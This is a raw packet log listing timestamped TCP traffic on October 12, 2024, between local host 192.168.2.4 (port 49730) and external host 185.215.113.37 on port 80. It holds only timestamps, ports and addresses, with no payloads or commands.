Oct 12, 2024 13:17:29.077131987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.077143908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.077178001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.077187061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.077231884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.077238083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.077270985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.077289104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.077313900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.077322006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.077351093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.077366114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.077397108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.077404022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.077451944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.077455997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.077501059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.077507019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.077541113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.077548981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.077581882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.077590942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.077639103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.077646017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.077683926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.077689886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.077718019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.077749968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.077759981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.077792883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.077800035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.077833891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.077867031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.077876091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.077876091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.077909946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.077917099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.077953100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.077960014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.077996016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.078011036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.078059912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.078061104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.078104019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.078109980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.078155994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.078161955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.078193903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.078210115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.078227997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.078238010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.078259945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.078273058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.078305006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.078310966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.078344107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.078360081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.078377008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.078389883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.078418970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.078427076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.078459978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.078470945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.078490973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.078505039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.078526020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.078536987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.078557968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.078572035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.078592062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.078607082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.078624964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.078639030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.078661919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.078670979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.078696966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.078715086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.078732967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.078747988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.078768015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.078799009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.078800917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.078819990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.078833103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.078866005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.078876972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.078898907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.078908920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.078936100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.078950882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.078969002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.078978062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.079003096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.079011917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.079035997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.079039097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.079070091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.079077959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.079103947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.079116106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.079138994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.079147100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.079173088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.079180956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.079206944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.079212904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.079298019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.079308033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.079334021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.079339981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.079368114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.079411030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.079427004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.079458952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.079471111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.079493999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.079504013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.079528093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.079534054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.079562902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.079567909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.079596043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.079605103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.079629898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.079638004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.079663992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.079669952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.079698086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.079705954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.079731941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.079741001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.079766989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.079782009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.079801083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.079807043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.079834938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.079837084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.079863071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.079874039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.079896927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.079900026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.079933882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.079933882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.079967022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.079972982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.079999924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.080004930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.080033064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.080035925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.080068111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.080071926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.080101967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.080111027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.080136061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.080147028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.080168009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.080176115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.080205917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.143290043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.143356085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.143361092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.143435955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.143470049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.143486023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.143506050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.143515110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.143541098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.143547058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.143575907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.143583059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.143610954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.143614054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.143646002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.143651009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.143703938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.143709898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.143738985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.143754959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.143771887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.143773079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.143779039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.143809080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.143812895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.143842936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.143848896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.143881083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.143886089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.143915892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.143923044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.143950939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.143955946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.143985033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.143995047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.144023895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.144025087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.144058943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.144068003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.144092083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.144095898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.144126892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.144143105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.144160986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.144170046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.144191980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.144203901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.144226074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.144233942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.144258976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.144263983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.144294024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.144299984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.144329071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.144334078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.144364119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.144370079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.144399881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.144406080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.144433975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.144437075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.144468069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.144510984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.173490047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.173559904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.173563004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.173598051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.173603058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.173633099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.173639059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.173671961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.173675060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.173708916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.173742056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.173751116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.173775911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.173783064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.173810959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.173820019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.173846006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.173858881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.173880100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.173894882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.173913002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.173926115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.173944950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.173949957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.173985958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.173998117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.174041033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.174048901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.174082041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.174088001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.174118042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.174123049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.174154997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.174159050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.174190044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.174195051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.174223900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.174231052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.174259901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.174264908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.174300909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.174313068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.174355984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.174365044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.174398899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.174405098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.174438000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.174451113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.174484015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.174494028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.174519062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.174536943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.174571037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.174580097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.174601078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.174604893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.174638987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.174644947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.174673080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.174685001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.174706936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.174710035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.174741983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.174747944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.174782991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.174793959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.174828053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.174829960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.174871922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.174881935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.174920082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.174922943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.174958944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.174974918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.175014973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.175015926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.175051928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.175060987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.175086975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.175121069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.175132990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.175154924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.175159931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.175188065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.175194025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.175223112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.175229073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.175254107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.175291061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.175307035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.175340891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.175348043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.175371885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.175373077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.175415039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.175462961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.175517082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.175549984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.175558090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.175582886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.175590992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.175631046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.175635099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.175671101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.175677061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.175704956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.175710917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.175749063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.175760984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.175793886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:29.175803900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:29.175827980 CEST	80	49730	185.215.113.37	192.168.2.4
